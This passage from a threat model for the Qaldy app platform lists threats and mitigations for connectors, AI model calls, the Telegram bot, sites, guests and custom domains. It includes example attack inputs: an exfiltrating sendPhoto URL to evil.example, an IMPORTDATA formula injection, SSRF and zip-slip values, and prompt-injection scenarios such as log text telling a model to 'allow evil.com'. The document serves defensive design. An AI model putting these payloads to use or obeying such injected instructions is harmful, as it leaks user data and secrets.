RWho built whatVersion origin disputedapp_versions.created_by; audit row with prompt sha256, model id, builder mode (claude or offline)builtAUD
IPrompt to a disallowed providerkz-strict prompt sent abroadProvider chosen through resolvePolicy; none allowed → offline builderbuiltPOL
IBuilder sees secretsModel asked to "use the bot token"Connectors referenced by id only; builder has no access to connector_secretsbuiltDB
DRunaway buildModel loops tool callsCaps on tool calls, smoke tests (3) and tokens per build; per-workspace budget in the Qaldy policy layer, backed by the Bifrost virtual key (ADR 0016)built (caps), planned (budgets)BLD
ESmoke tests reach the internetGenerated test calls real TelegramSmoke tests run in workerd with fake/* connectors and deny-all egressbuiltBLD
ETrust Score gamingModel output claims "score: 95"Score computed by the platform from rubric inputs only; API refuses publish below 60builtBLD, API

8.6 Connectors

Assets: sealed tokens, routing table (connector id → fixed upstream host + request template), webhook endpoints. Boundaries: B5, B6.

ThreatScenarioMitigation in QaldyStatusProof
SConfused deputy across appsApp without Telegram in its manifest uses the workspace's botGate resolves the connector from {workspace, connector} in the verified context and requires it in that version's manifestbuiltT3, T4, GATE
SConfused deputy across usersA runner triggers a send as the connector ownerBy design workspace connectors act as service accounts; the manifest sentence says whose account sends; can_run decides who may trigger. Per-user OAuth for user-scoped connectors (Gmail) lateraccepted-risk / plannedFGA
SForged inbound webhookAttacker posts to an app's webhook triggerPer-automation secret: HMAC-SHA256 over timestamp and body with a five-minute skew and replay protection; a shared token mode for senders that cannot sign; per-hook rate limit; the secret is sealed at rest and shown oncebuiltAPI (webhooks.test.ts)
TSealed blob movedBlob of connector A copied to connector BHPKE aad binds {workspace, connector_id, key_id}; a moved blob fails to openbuiltHPKE
IToken readable after entryAdmin or API reads it backWrite-only: sealed on receipt, never returned; UI shows "Connected · write-only"; rotation means writing a new onebuiltDB, API
ISSRF via parameterschat_id=../../x or an @evil.com valueUpstream host fixed per connector; app values go only into encoded path segments or the JSON body per route template; apps can't supply URLsbuiltGATE
EBot API methods beyond the SDK'sA policy lists getUpdates or setWebhook (a careless control plane, a hand-written manifest)The gate forwards only sendMessage, sendPhoto, sendDocument, editMessageText and answerCallbackQuery; any other Telegram method is 403 egress_blocked (action_not_supported) whatever the policy saysbuiltGATE
ETelegram fetches a URL for the appsendPhoto with photo: "https://evil.example/?d=<data>": Telegram's own servers make the request, outside the gate's egressA photo or document URL is egress: it must be https on port 443 and its host must be on the app's allowlist (domain_not_allowed otherwise, the host named in the audit row); attach://, plain http, IP literals and userinfo are refused (media_not_allowed); Telegram file ids pass. The body is re-serialised from what the gate parsed, so a repeated photo key can't carry a second, unchecked URL past a parser that keeps the first copybuiltGATE
IKey in a query stringAn HTTP API connection sends its key as ?api_key=…, which upstream access logs and proxies keepThe query auth style is removed. Zod refuses it with the reason; a value stored earlier is read and refused by the gate (connector_query_auth_removed), the console shows the connection as not working with the fixbuiltGATE, API
IWebhook URL is the credentialSlack incoming webhooks and Bitrix24 inbound webhooks carry the secret in the URL pathpath_token auth: the gate splices the sealed secret into the path; the app never sees it, cannot replace it (its path is appended after) or climb out of it (dot segments and encoded separators are refused), and the reply is scrubbed of the whole secret and each of its segments. The secret never appears in audit rows, events or logsbuiltGATE
IService-account key in the APIA Google key file holds a private key, and the API reads it before sealingThe API reads the file once in the request (never stored or logged), keeps only { type, client_email, private_key }, seals it to the gate with aad {workspace, sheets, key id} and keeps the client_email (not secret) in the connection's config. The key is checked first: size, JSON shape, an OAuth client file refused, an RSA key of 2048 bits or morebuiltAPI, GATE
SKey file aims the gate elsewhereA key file's token_uri points at an attacker's server, so the gate sends its signed assertion theretoken_uri is dropped on upload and ignored by the gate: the token host (oauth2.googleapis.com) and the Sheets host are constants, every resolved address must be publicbuiltGATE
ESheets writes by a read-only appAn app declares only readRange but the account is an editorA read asks Google for a read-only token (spreadsheets.readonly) and a write for the full scope; tokens are cached per scope. Which spreadsheets is Google's fence: the account sees only sheets shared with itbuiltGATE
TFormula injection through a cellAn app appends =IMPORTDATA("https://evil…") taken from a form, which Sheets would then runappendRow uses valueInputOption=RAW: a value is stored as typed and never evaluatedbuiltGATE
IToken cache across tenantsOne workspace is handed another's Google tokenThe cache key is sha256(workspace, sealed blob, scope); a rotated key is a new entry; tokens live in gate memory only (zeroised) and never reach audit rows, events or logsbuiltGATE
SPublic form spam, and a bot that learns it was caughtAnyone posts to a form's address; a bot is told it was rejected and adaptsNo proof is possible for a form, so it is limited instead: a hidden honeypot field (a bot is answered 202 and nothing starts, so it learns nothing), 5 submissions a minute per address and a per-form limit, a 32 KB / 40-field cap and an optional Origin list. The address is CF-Connecting-IP in production. A script that names no Origin is not stopped by the list; it is limited by the ratesbuiltAPI
SForged Telegram or GitHub deliveryAnyone who knows an automation's webhook address posts a fake update or eventTelegram: the secret_token header is compared in constant time with a digest of the token. GitHub: X-Hub-Signature-256, HMAC-SHA256 over the raw body with the webhook secret. The sender's own ids (update_id, X-GitHub-Delivery) make a retry a repeat, not a second run. GitHub's scheme has no timestamp, so a captured delivery can be replayedbuiltAPI
EFake connectors in productionfake/* reachable in prodGate refuses to start with fake/* routes when QALDY_ENV=productionbuiltGATE

8.6a AI models for apps (BYOK)

Assets: sealed provider keys, each app's monthly budget and the books behind it, the prompts and replies in flight. Boundaries: B5, B6. Guide: docs/connectors/ai-models.md (Preview).

ThreatScenarioMitigation in QaldyStatusProof
SConfused deputy across appsAn app without ai in its manifest, or naming another model, spends the workspace's keyThe gate reads the verified version's ai policy: no ai is 403 ai_not_declared, a model the manifest doesn't name is 403 ai_model_not_declared, both before the budget is touchedbuiltGATE
TSealed key movedThe blob of connection A, or of a key for another host, is copied into a connectionHPKE aad is ai:<connection>:<host>; the key opens only for its own connection and host, and the gate pins the provider host from the connectionbuiltGATE, HPKE
IKey readableAn admin, an app or an error message gets the key backWrite-only: sealed on receipt, never returned or logged; opened in the gate for one call; the gate scrubs the key (and the sealed form) from replies and errorsbuiltGATE, API, DB
IPrompt or reply storedContent ends up in the audit log, usage tables or eventsThe books and audit hold counts, model, cost and outcome only; INTERNAL_API §10 has no content field and the API's body schemas are strictbuiltAPI
ISSRF through the provider addressAn OpenAI-compatible connection points at 169.254.169.254 or an internal nameAddress rules as the HTTP connector (https, 443, public name, no userinfo or query); the API refuses a name that resolves private and the gate re-checks every resolved address per call; redirects are never followedbuiltGATE, API
DOverspendTwo calls at once, or two gates, spend the last dollar; a loop burns the keyReserve before sending (spent + open reservations + this one against the budget, under a per-app advisory lock), settle with real tokens; the gate fails closed when the books are unreachable; at most 8 calls per app in flight, 256 KB per request, 120 s per callbuiltAPI, GATE
DBudget bypass by lying about sizeAn app sends a tiny maxTokens to reserve little, then streams a lotThe gate sets the provider's output limit from the same maxTokens it reserved and settles from what the provider countedbuiltGATE
EA member spends the admin's keyA member approves an app that declares AIApproval needs an admin (admin_approval_required, audited as build.approval_refused); a personal access token can't change keys or budgetsbuiltAPI
EData leaves a region it must stay inA kz-* workspace connects a foreign providerNot offered: the API refuses ai_not_allowed and the console says so; ai.profile: "private" is refused until in-region models existbuiltAPI, POL
TPrompt injection through a replyA model reply carries instructions the app acts onThe SDK documents replies as untrusted text; runtime taint enforcement is the T8 gap (§10) and covers AI-run external sends only once builtplanned—

Assets: the bot's sealed token (never leaves the gate), the webhook secret_token, one-time link codes, the link between a Telegram account and a Qaldy person, the right to decide an approval. Boundaries: B1 (console), B6 (gate to Telegram), and the webhook POST /v1/telegram/:hookId from Telegram's servers to the API. Guide: docs/connectors/telegram.md, "Approvals and alerts in Telegram" (Preview: not yet run against the live Bot API).

ThreatScenarioMitigation in QaldyStatusProof
SForged webhook updateSomeone who learns the address posts a callback_query that "approves" somethingThe address carries an unguessable id and every request must send X-Telegram-Bot-Api-Secret-Token, compared in constant time against a peppered digest (the secret is shown to Telegram once and never stored). Without it: 401, the same answer for a wrong secret and an unknown address. A cookie or an Origin proves nothing here. Addresses that keep failing are slowed per client address before the database is askedbuiltAPI
SPressing someone else's buttonA message is forwarded to a group, or a teammate gets hold of a phone with the chat openTelegram authenticates from.id. A press is accepted only if the data is signed for this workspace (HMAC), names a message this bot sent, arrives from that message's chat, comes from the Telegram account linked to the person it was sent to, that person is still a member, and decideApproval agrees the approval was asked of them. Every refusal is an audit row (telegram.press_refused)builtAPI
SLinking someone else's accountAn attacker claims a Qaldy person's identity with a Telegram account of their ownA link needs a one-time code made in the signed-in person's console session: 10 minutes, used once, kept as a peppered digest, valid only in the workspace whose bot received it, accepted only in a private chat. A code posted in a group is cancelled on sight. Wrong codes are limited per Telegram account (5, then one a minute) and per bot. A Telegram account can belong to one person per workspacebuiltAPI
TDouble decisionA press is delivered twice, or approved in the console and Telegram at onceThe decision is one conditional update (state = 'pending'), so there is exactly one winner; the loser is told "already decided". Telegram's repeat of an update_id is dropped. One message per approval per person is claimed in the database before it is sentbuiltAPI
RDisputed decision"I never approved that"approval.decide records the person and via: telegram; linking, unlinking, code requests, turning Telegram on or off, the alerts chat and every delivery attempt are audit rows. No token, secret, code or message text is writtenbuiltAPI
IBot token seen by the APIThe control plane reads the token to call TelegramIt never does: every call is POST /__qaldy/notify to the gate with the sealed blob, bound to the exact body by an API-signed token. The gate builds the Bot API body itself from seven calls, checks each field (callback data, https button links, chat id, text length) and answers with facts only, never Telegram's bodybuiltGATE, API
IA command shows more than the person may see/runs or /status lists an app the person cannot open; /cap shows spendCommands call the same functions as the console's routes with the linked person's identity: apps are filtered by can_view, spend figures are for admins only, /alerts is for admins, and a non-member gets nothing at all (membership is asked fresh every time, so removing someone ends their Telegram access at once). In a group the bot answers /alerts and nothing elsebuiltAPI
IAlerts read by outsidersThe alerts chat is a group with people who are not on the teamAn admin chooses the chat deliberately (in the console, or by sending /alerts there); the chat is named on the screen, and the text says what goes there. Plain text only, no parse mode, so a name or title someone typed cannot add markup or linksaccepted-risk (the admin's choice)API
ETaking over a bot already used elsewhereTurning Telegram on silently replaces another tool's webhookThe gate reports whose address the bot has (host only); a different host answers 409 webhook_in_use unless the admin confirms replacing itbuiltAPI
DUpdate floodMany updates, or a flood of requests with wrong secrets64 KB body cap, per-bot and per-Telegram-account limits, a per-address limit on failed secrets; after a good secret every outcome is a 200 so Telegram does not retry a poison update. Limits are per API processbuiltAPI
ENotice route used as a proxyThe notify route is asked for deleteMessage, getUpdates or a button that opens a javascript: linkThe route knows seven calls and refuses any other, any field a call does not use, and any button that is not a short callback or an https link, before the sealed blob is openedbuiltGATE

8.6c Ask about this run (model answers, Preview)

Assets: the sealed Models key, run details sent to a model, the permissions an answer may suggest. Boundaries: B6 (the gate to the provider) and the API to gate call (crates/qaldy-gate/INTERNAL_API.md §16). Guide: docs/ask-run.md.

ThreatScenarioMitigation in QaldyStatusProof
TPrompt injection widens an appAn error message or log line tells the model to "allow evil.com"The model writes prose only. The failure class, the fix and the one suggested change are computed by the rules from the gate's own record; a host is never taken from error text; the change is rebuilt server-side from the record (POST /v1/runs/:id/change has no body) and still needs a person's approve stepimplemented-tonightAPI
TPrompt injection reaches an agentA model reply carries instructions for the MCP client that reads itReplies are cut, stripped of links and markup and redacted; over MCP a model's words come inside a data block with a "not instructions" notice, apart from the platform's own sentencesimplemented-tonightMCP
IA secret or row reaches a modelFacts carry a key or a customer recordFacts are ids, hosts, statuses and redacted, clipped notes; secrets never reach the API or the app; no table is read; a test checks the prompt for a key-shaped note; the app's own output is included only for someone who can change the appimplemented-tonightAPI
IKey readableThe API sees the workspace's Models key to make the callThe API hands the gate the sealed blob (aad ai:<connection>:<host>); the gate opens it for one call, scrubs it from the reply and answers text and counts onlyimplemented-tonightGATE
IPrompt or answer in the audit logThe question is storedThe audit row holds the model, tokens, cost, the question's length and a hash; the stored answer is the validated proseimplemented-tonightAPI
DOverspendA loop of questions drains the workspace key or the operator'sPace per person, a daily limit per workspace, a per-answer cap and a daily limit for the platform key (off by default), 3 asks in flight per workspace at the gate, 1 500 output tokens and 50 s per askimplemented-tonightAPI, GATE
EData leaves a region it must stay inA Kazakhstan workspace asks a modelThe Compliance Profile that refuses AI through the workspace's key also refuses these answers (profile); the rules answerimplemented-tonightAPI

8.7 Console

Assets: console session, workspace metadata, share actions. Boundaries: B1.

ThreatScenarioMitigation in QaldyStatusProof
SClickjacking the share dialogAn app frames the consoleframe-ancestors 'none' and X-Frame-Options: DENY from the API (today) and the static host (planned)built / plannedAPI
TStored XSSApp name, manifest text, model output or run error carries markupReact escaping only; noDangerouslySetInnerHtml enforced by Biome; prod CSP script-src 'self'built (lint), planned (CSP)pnpm check
IEvent stream leakSSE shows another workspace's or a private app's runsSSE requires membership; events filtered by workspace and by can_view on the subject appbuiltAPI
ICity shows hidden appsWorldSnapshot lists apps the user can't viewSnapshot built server-side: the workspace's apps from Postgres, filtered by FGA BatchCheck(can_view) (ADR 0012)builtAPI
EClient-side checks onlyHidden button's route called directlyUI hides actions as a convenience; every check runs server-sidebuiltAPI
IMock data taken as realDemo numbers shown as productionMockAdapter shows a "MOCK DATA" badge; prod build requires VITE_DATA=apibuiltpnpm e2e

8.7a Team: roles, invites, handover and company domains

Assets: who is in a workspace and with which rights, join links, the company-domain rule. Boundaries: B1. Rules in packages/contracts/src/team.ts, enforced in apps/api/src/domain/team.ts; see docs/team.md.

ThreatScenarioMitigation in QaldyStatusProof
EAdmin makes themselves or a friend ownerPATCH a role to owner, or promote through an inviteOwnership is never assigned: only the owner's transfer moves it (name typed, new owner permanent). An admin cannot make, change or remove an owner; invites cannot carry ownerbuiltapps/api/tests/team.test.ts, team.test.ts (contracts)
DWorkspace left with no ownerTwo owners demote each other at once, or the last owner leavesThe last owner cannot leave or be demoted; every change takes a per-workspace turn and re-checks its facts under a row lock before it commitsbuiltAPI
EViewer or member buildsA read-only role calls the build routes, or makes a write tokenPlanning and approving a build, drawing a road and creating a backend need Builder (403 builder_only); a viewer can only make read tokensbuiltAPI
SForwarded invite linkA join link is passed to someone elseA link is for one address: the signed-in, verified address must match (403 invite_other_email); the database keeps only the link's SHA-256; links expire (1 to 30 days) and can be revoked or replacedbuiltAPI
DInvite email used to flood an inbox or burn Qaldy's sender reputationAn admin invites one address over and over5 invite emails a day per address and 50 a day per workspace (429 invite_mail_limit; per API process); "make links" sends nothingbuilt (per process)API
EAccess that should have endedAn agency's access outlives the contractmemberships.expires_at is checked on every workspace and app request; a monitor removes the person once a minute (tuples, team and app grants, tokens, audit row, email). An invite cannot outlive or be accepted after its end datebuilt (gate and runtime within a minute)API
EClaiming someone else's domainAn admin claims bigco.com to auto-admit its staffDNS TXT at _qaldy-verify.<domain> is the only proof; mail providers cannot be claimed; names are ASCII or xn--; joining needs a verified address on that exact domain and gives Member or Viewer only; 12 checks an hour; the rule is auditedbuilt (no re-check later)API
IA removed person keeps a back doorDirect app grants, team tuples or tokens survive removalRemoval deletes every role tuple, their team tuples and direct grants on the workspace's apps, hands their apps to the remover, and revokes their tokens in it; an event stream closes at its next heartbeatbuiltAPI
TDatabase and OpenFGA disagreeA crash between the two writesOpenFGA is written first (a failure changes nothing); a database failure puts the tuples back; syncMembershipTuples at start writes any missing tuple for a membership row and never deletesbuiltAPI

Assets: an app's data and behaviour, the guest's address, the codes and links. Boundaries: B1 (a person with no account to the gate), B3 (gate to host). Rules in packages/contracts/src/guests.ts, enforced in apps/api/src/domain/guests.ts and guest-access.ts.

ThreatScenarioMitigation in QaldyStatusProof
EA guest reaches more than their appThey keep their session and ask for another app, another workspace or the consoleA guest is not a user: no session cookie, no membership, no OpenFGA tuple, so the whole /v1 API answers 401. The gate's check for a gst_ id is answered from the guest's own row, which must name this app and this workspace; the gate cookie is bound to one host; a guest is never more than Viewer or RunnerimplementedAPI (guests.test.ts: other apps, other workspaces, look-alike ids), GATE (guest_flows.rs)
SA forwarded or leaked invite linkThe link is pasted in a chatThe link alone opens nothing: a code goes only to the invited address, 6 digits, 10 minutes, once. The link is 256 random bits, the database keeps its SHA-256, and "Resend link" kills the old oneimplementedAPI
SGuessing a codeAn attacker who knows an address and an app tries codes5 tries per code, 10 wrong in 15 minutes pauses the guest for an hour (audited), 5 code emails per 15 minutes and 15 a day per guest, 30 checks per 15 minutes per network address. At most about 190 guesses a day against a million; the owner can end the guest any timeimplemented (address counters per process; per-guest counters in the database)API
IFinding out who has accessAsking for a code by app address with other people's emailsThat path answers the same whether or not the address was invited and sends an email only when it was; every wrong guess there reads "not the right code". Public routes carry the secret in the body, never the pathimplemented (a timing difference remains, see docs/guests.md)API
DQaldy's mail used to flood an inbox or burn its sender reputationAn owner, or someone who knows an invited address, asks for mail again and again5 invite emails a day per address and 50 per workspace; 1 code per 30 s, 5 per 15 min and 15 a day per guest; a code can only be sent to an address that holds a live invite; "copy a link" sends nothingimplemented (per process)API
EAccess that should have endedA guest's time runs out, or the owner revokes, or an admin switches guests offExpiry, revocation and the policy are read from the row on every gate check; the gate keeps an answer 5 s at most and the API invalidates its cache on every change; turning guests off ends every open guestimplementedAPI, GATE
EA member bypasses roles through guest accessSomeone already in the workspace is invited as a guestRefused (already_member); guests exist for outsidersimplementedAPI
IA guest's address in the audit log or the logsReading the chain, or the API logAudit rows hold the guest's id and a masked address, never a link, token or code; the logger redacts secret-named fields; a code is only ever printed by the DEV ONLY mailer outside productionimplementedAPI
RA guest acts and nobody can say whoAn app is opened or a code guessedguest.sign_in (actor guest), guest.locked, and the gate's ingress.session.started and ingress.denied rows, all hash-chainedimplementedAPI, GATE
TA forged code from another guest's grantA code for guest A used on guest B's linkA code is an HMAC bound to the guest's id; it opens only that grantimplementedAPI
IAn outsider's address kept for everGuests pile up after their access endsAn ended guest can be forgotten by the owner at any time, and the ones nobody forgot are deleted 90 days after their access ended (masked audit row, once a minute where schedules run)implementedAPI (sweepOldGuests)
EOutsiders where the profile forbids themA kz-strict workspace invites an outsiderguestsPossible is false for kz-strict: nothing can turn guests on, and an invite is refusedimplementedPOL (policy.test.ts), API

8.8 User-content domain

Assets: per-app session cookies, app-rendered HTML. Boundaries: B2.

ThreatScenarioMitigation in QaldyStatusProof
SApp A acts on app BScript on A posts to B with the user's B cookieUntil qaldy.app is on the Public Suffix List, apps are same-site with each other and SameSite doesn't separate them. Gate rejects non-GET requests with Sec-Fetch-Site: same-site or cross-site unless the route is a declared form or webhook triggerbuilt (header check), planned (PSL)GATE
SLook-alike loginApp renders a fake Qaldy sign-inSign-in only on the console domain; apps never get console cookies; gate-injected "Made by {workspace} on Qaldy" bar on public-link appsaccepted-risk for now, planned (bar)—
TCookie tossingApp sets Domain=qaldy.app to fix sessionsGate reads only its own host-only cookie name; PSL entry blocks parent-domain cookiesbuilt / planned (PSL)GATE
IApp reads console datafetch(api, {credentials: 'include'}) from an appDifferent site, so the SameSite=Lax console cookie isn't sent; CORS rejects app originsbuiltAPI

8.9 Exposure probe (pre-publish black-box check)

Assets: the app's real database and connectors (must stay unreachable from a probe), findings (content-free), the publish gate. Boundaries: B3 (API to runtime host), the sandbox isolate.

Code: contracts probe-engine.ts (the questions and the judging, pure), probe-sandbox.ts (the sandbox's modules, planted records, identities), runtime-host probe-host.ts (POST /__qaldy/probe), API domain/probe.ts (records, rate limits, the gate), console ProbePanel and PublicLinkPanel.

ThreatScenarioMitigation in QaldyStatusProof
TA probe changes or reads real dataAn injection probe POSTs to a form, or a GET handler deletes rowsThe sandbox's database is a separate Durable Object (<app>~probe~<version>), emptied before and after every run and seeded with one marker row per declared table; the real app's database is never openedbuilt (beta)HOST (probe-sandbox.test.ts)
TA probe sends a real message or spends a connectorA page view calls TelegramThe sandbox's fetch is replaced by a recorder that answers 403 egress_blocked, and its globalOutbound is a deny-all entrypoint with no connect(); the sandbox cannot reach the gate, a connector or the internetbuilt (beta)HOST, BLD (probe-workerd.test.ts fails if the sandbox reaches the network)
IThe report leaks what the probe foundA finding stores a record, a token or a response bodyA finding holds a code, a route, a persona and a status, type and size; the engine never keeps a body past the judging of one answer, and a test fails if a planted record, a credential or a body appears in a reportbuilt (beta)CON (probe-engine.test.ts, probe-workerd.test.ts)
SA forged probe requestAnyone calls /__qaldy/probeAn API-signed qaldy.probe.v1 token, ≤ 120 s, strict claims, one-time jti, bound to one app, version and workspacebuilt (beta)HOST (probe-sandbox.test.ts)
DProbe abuseA script re-runs probes to load the runtime host30 s between manual runs and 12 an hour per app, one running probe per version, a 22 s time and 260 request budget in the hostbuilt (beta)API (probe.test.ts)
EA public link turned on without a checkThe share route called directly or by tokenPATCH /v1/apps/:id/share refuses generalAccess: link without a current, unblocked check of the current version and a typed confirm that names it; console-only for tokensbuilt (beta)API
RWho published what"I never made it public"app.probe.start, app.probe.finish and share.update (with the probe id and publicConfirmed) in the audit chainbuilt (beta)API

What it cannot do. It calls the app directly, the way a public link would, so it shows what a stranger could reach if the gate were not in the way; it cannot prove an app safe. Routes that call a connector fail in the sandbox (the call is refused), so the check records the attempt but cannot see past it. Findings are only as good as the routes it can discover (links, form actions, route literals in the bundle and a short list of common names). The gate applies when the link is turned on: an app that is already public keeps its link when a later version's check finds a high finding (the panel shows "Not ready"); revoking it automatically is planned.

8.10 Static sites (Sites, docs/sites/README.md)

Assets: a company's site files, other workspaces' files, the host's CPU and memory, the cell's database. Boundaries: B1 (visitor to gate), B3 (gate to host), host to API.

ThreatScenarioMitigation in QaldyStatusProof
TZip slipAn entry named ../../x or an absolute or drive pathNothing is extracted to a disk. Any climbing path refuses the whole upload, even in a file that would be left out; the host checks request paths with the same rulebuiltapps/api/src/sites/archive.test.ts, site-path.test.ts
DZip bomb10 GB of zeros in 10 MB; a header that lies about its size; a million entriesDirectory read first: entry count, declared sizes, ratio over 1000:1; inflate is capped at the declared size and the CRC must match; 50 MB body limit enforced on the stream; 2 uploads unpacked at a time per processbuiltarchive.test.ts, tests/sites.test.ts
TAmbiguous archiveLocal header and directory disagree; overlapping entriesA strict reader that refuses bothbuiltarchive.test.ts
EHosting an executable or server scriptshell.php, .exe, an archiveExtension allowlist; nosniff on every answer; a site runs no code on Qaldy serversbuiltarchive.test.ts, site-serve.test.ts
ISecrets in a zipped folder.env, .git/ published with the siteHidden files and folders are never published and are listedbuiltpackages/contracts/src/sites.test.ts
ICross-tenant file readA host asked for another workspace's blob by hashA blob is read only through site_version_blobs for the signed version, keyed by workspace; the version in the path comes from a gate-signed contextbuilttests/sites.test.ts
TTampered storage or transitA manifest or file changes between upload and visitorThe host recomputes the manifest hash and every file's sha256 before answeringbuilthost-site.test.ts, site-serve.test.ts
IShared cache serves a private siteCloudflare stores a .js from behind the loginEvery answer is Cache-Control: private or no-storebuiltsite-path.test.ts
RA change nobody can account forA new version or a rollback with no recordEach publish, activate, rollback and delete writes a hash-chained audit row in the same transactionbuilttests/sites.test.ts
SForged traffic numbersAnyone reports views for a siteThe report is a host-signed token bound to its body hash, short-lived, single-use; entries for unknown or foreign sites are ignoredbuilttests/sites-usage.test.ts
EA leaked deploy token publishes contentA write token replaces a live siteA token can upload a version and, by default, it goes live (that is what CI needs). Activating, rolling back and deleting are console-only. Tokens are revocable, scoped to one workspace, and every call is audited (token.call, and site.publish with source api). The site's script runs only in its own originaccepted-riskapps/api/tests/sites.test.ts

8.11 Backend data API (keys, rules, sign-in tokens)

Detail: docs/backend/access-policies.md. Proofs: apps/api/src/baas/policy.test.ts, apps/runtime-host/src/baas/guard.test.ts, packages/contracts/src/baas-policy.test.ts.

ThreatDefence
A table is reachable by someone who should not reach itPrivate until a rule says otherwise; opening to visitors needs the table name typed back by a person (never an agent, key or token)
A visitor reads another person's rowsRules compile to a row guard; the runtime host ANDs the scope into the SQL and masks returned rows. A row outside the scope is a 404
A hidden value is recovered by filtering, sorting or countingA column the caller cannot read is "no such column"; a column visible on some rows only cannot be filtered or sorted by; counts are inside the scope
A forged or confused tokenRS256/ES256/EdDSA only, kid pinned to pasted public keys, iss/aud pinned, exp required and at most 24 h; none, HS256 and private keys refused; failures are 401 and rate-limited per address
A client claims a role or a user idOnly a verified token's claims count; headers and query values are ignored
A browser page not listed by the owner calls the API403 origin_not_allowed and no CORS headers; a secret key from any page is refused
One visitor spends the public key's budgetPer-address bucket on publishable keys, per-key bucket, 256 KB body cap
A new code path reads rows without asking the rulesRow operations take the caller's access as a required argument; a test pins the four files that may pass the unbounded one
An agent opens or changes who may read a tableRules, identity and settings are console-only routes; personal tokens get 403 console_only

Not covered: tokens are bearer credentials for up to 24 h (the owner's server decides who gets one); JWKS by URL and Qaldy-issued sign-in do not exist; limits are per API process.

8.12 Custom domains (docs/hosting/custom-domains.md)

Assets: a customer's hostname and the content served on it, the Cloudflare token, other tenants' claims. Boundaries: B1 (visitor to gate), API to Cloudflare, API to public DNS.

ThreatScenarioMitigation in QaldyStatusProof
SClaiming a name that is not yoursA tenant types tools.victim.comEvery claim needs a TXT record _qaldy-host.<hostname> holding a random token made for that claim, so only whoever controls the name's DNS can add it. Nothing is registered with the certificate provider and the gate answers nothing until it is read from public DNSbuiltapps/api/tests/domains.test.ts, custom_flows.rs
SDangling CNAME takeoverA company leaves tools.acme.kz → cname.qaldy.app after it stops using us; a stranger claims the nameSame proof: the stranger cannot add the TXT. A removed claim's row is deleted, so the name is free but never inherited; the new claimant proves it afresh ("lets a freed hostname be claimed by someone else, who must prove it again")builtdomains.test.ts
TTwo tenants hold one nameTwo workspaces both prove a nameA partial unique index lets one claim past the proof hold a name; the later one ends as failed/blockedbuiltpackages/db/tests/domains.test.ts, domains.test.ts
EA cookie outlives the name's appA name is removed and attached to another app; an old session still names the firstThe gate binds a session to the host and to the app and workspace the control plane says the name opens now, and refuses a handoff for another appbuiltcustom_flows.rs
IThe gate leaks which names existProbing hostnamesAn unknown, unproven or removed name is the same plain not-found page; the internal lookup answers found: false, never 404; only plain DNS names reach itbuiltcustom_flows.rs, host.rs
SHost header spoofing through the app domainA request for x--y.qaldy.app with a forged Host of a customer nameThe gate takes its host from the request's own Host only; a name under the apps domain is never looked up as a customer name, and a custom name needs its own session cookiebuiltcustom_flows.rs
ECross-site writes to the appA sibling *.acme.kz posts to the appWrites must be same-origin (Sec-Fetch-Site or an equal Origin); the cookie is __Host- and host-onlybuiltcustom_flows.rs
IThe Cloudflare token leaksIn a log, an error or a responseOne scoped token (SSL and Certificates, Edit, one zone) held in the API secret, used in one header, never logged or returned; logs redact token-named fieldsbuiltdomains.test.ts ("never writes the token")
DClaims used to spend or floodA tenant adds hostnames to exhaust Cloudflare slots or DNS lookupsOne hostname per app, ten per workspace, a claim not registered with Cloudflare until its CNAME resolves, 30 manual checks an hour, a lease per claim, a 24-hour deadline per stagebuiltdomains.test.ts
RA change nobody can account forAttach, go live, fail, removeAn audit row in the same transaction for each (domain.*), naming the hostname and the personbuiltdomains.test.ts
EA live name changes handsThe company's domain lapses, or its DNS is taken over, while the claim is active; the new holder redirects signed-in visitors to the console handoff for that name and receives a one-time handoff token bound to itThe monitor re-reads every live name each hour: a CNAME that now points at another name moves the claim back to pending_dns at once, and Cloudflare's own moved status does the same; from then on the API mints no handoff for the name and the gate stops answering for it (60 s cache, invalidated on the change). The window is up to an hour plus DNS cachingaccepted-riskdomains.test.ts ("stops serving a live hostname as soon as its CNAME points somewhere else")
TSame-site neighboursAnother service on *.acme.kz sets cookies for the whole domainThe Public Suffix List cannot protect a customer's domain. The console tells the owner to pick a name only the app usesaccepted-risk—
DThe provider is unavailableCloudflare does not answerA hostname waits and is looked at again; a removal it cannot confirm keeps the claim; a failed gate lookup is not cached and answers bad gatewaybuiltdomains.test.ts, custom_flows.rs

9. Critical data flows

  1. Open an app. Browser → inventory--moss.apps.localhost → gate (B2). No cookie → 302 to console handoff → API signs {sub, host, jti, exp} → gate verifies, consumes the jti, sets the host cookie → can_view → host with signed {user, app, version, exp} (B3) → host verifies, loads the bundle by hash. Every failed check returns 403 before app code runs. Proof: T1, T2, GATE, HOST.
  2. App calls a connector. SDK connectors.telegram.sendMessage() → fetch('https://connector.qaldy.internal/telegram/sendMessage') (B4) → host signs {app, version, workspace, run, tainted} (B5) → gate verifies, loads the version policy (cached, invalidated on app.deployed), checks {telegram, sendMessage} → HPKE-opens the token with its aad → builds https://api.telegram.org/bot<TOKEN>/sendMessage → rustls (B6) → zeroizes → audit + run.step. The token exists only in gate memory for one request. Proof: T3, T5, T7, HPKE.
  3. Non-allowlisted domain. fetch('https://example.org') → host signs → no manifest match → 403 {"error":"egress_blocked","host":"example.org"} → egress.blocked event + audit → SSE → barrier and U-turn in the City. Raw sockets fail the same way. Proof: T4, T6, T5.
  4. Build and deploy. Prompt → plan (manifest + file plan) → human approves the manifest (audited) → codegen in the virtual directory → esbuild → static rules 1–6 → smoke tests (fake connectors, deny-all) → Trust Score → API writes an immutable app_version → publish refused below 60 or without approval → app.deployed. app.build.progress at each step. Proof: BLD, API, AUD.
  5. Run → City. Host emits run.started, run.step, run.finished, run.failed with its service credential → API validates with zod and appends to events → LISTEN/NOTIFY → SSE filtered by can_view. The City is a pure projection and never writes state. Proof: API (SSE scope), @qaldy/city determinism tests.

10. AI runs: the lethal trifecta rule

An AI run that combines private data + untrusted input + external communication needs human approval before each external send. Any one leg on its own is fine; all three together let injected text steal data.

A pure function trifecta(manifest) computes the legs. It applies only when permissions.ai ≠ null.

  • Private data: any permissions.data entry, or any connector read action (gmail.read, sheets.read).
  • Untrusted input: a webhook, form or external event trigger, or a connector read of content authored outside the workspace (email, messages). Model output always counts as untrusted.
  • External comms: any connector write action (telegram.sendMessage, gmail.send) or any permissions.egress entry.

Enforcement:

  1. Build time (built, BLD). The flag goes into trust_report. The manifest card says "Reads private data, handles outside input and can send messages. Each send needs approval." Trust Score is capped at 79 (sun plaque) until the app has an approval step.
